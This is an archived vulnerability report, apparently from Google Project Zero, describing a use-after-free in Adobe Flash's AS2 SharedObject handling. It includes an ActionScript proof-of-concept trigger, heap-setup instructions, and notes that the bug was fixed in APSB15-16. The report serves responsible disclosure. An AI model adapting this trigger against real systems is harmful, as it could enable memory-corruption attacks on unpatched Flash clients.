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Adobe Flash: Use-after-free when setting internal number #357

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago 
In certain cases where a native AS2 class sets an internal atom to a Number or 
Int, it can lead to a use-after-free if the variable is a SharedObject. While 
this example shows setting Array.length, this applies to some other variables 
in other classes.

A proof of concept is as follows:

var s = SharedObject.getLocal("test");
ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var o = {myprop: "test", myprop2: "test"};
s.data.length = o;
flush();
var a = [];
a.push.call(s.data, "test");
trace(s.data.length);
s = 1;

for(var i = 0; i < 100; i++){
    var b = new flash.display.BitmapData(100, 1000, true, 1000);
    }
setInterval(c, 1000);
function c(){   
    trace("here");
    ASnative(252, 1).call(o); //Array push
    //delete o.myprop;
}

A fla, an AS file and two swfs are attached. setnum.fla compiles to setnum.swf 
and contains the code that causes the use-after-free. loadswf.as compiles to 
loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, 
put loadswf.swf and setnum.swf in the same folder on a webserver (the PoCs 
don't always work locally due to flash network sandboxing), and load 
loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on 
a 32-bit system with proper heap set-up. 

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 1 May 2015 at 9:10

Attachments:

GoogleCodeExporter commented 8 years ago

Original comment by natashe...@google.com on 4 May 2015 at 7:45

GoogleCodeExporter commented 8 years ago 
This is PSIRT-3651

Original comment by natashe...@google.com on 5 May 2015 at 8:27

GoogleCodeExporter commented 8 years ago

Original comment by cev...@google.com on 5 Jul 2015 at 6:31

GoogleCodeExporter commented 8 years ago 
Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html

Original comment by cev...@google.com on 9 Jul 2015 at 12:37

GoogleCodeExporter commented 8 years ago

Original comment by natashe...@google.com on 3 Aug 2015 at 9:41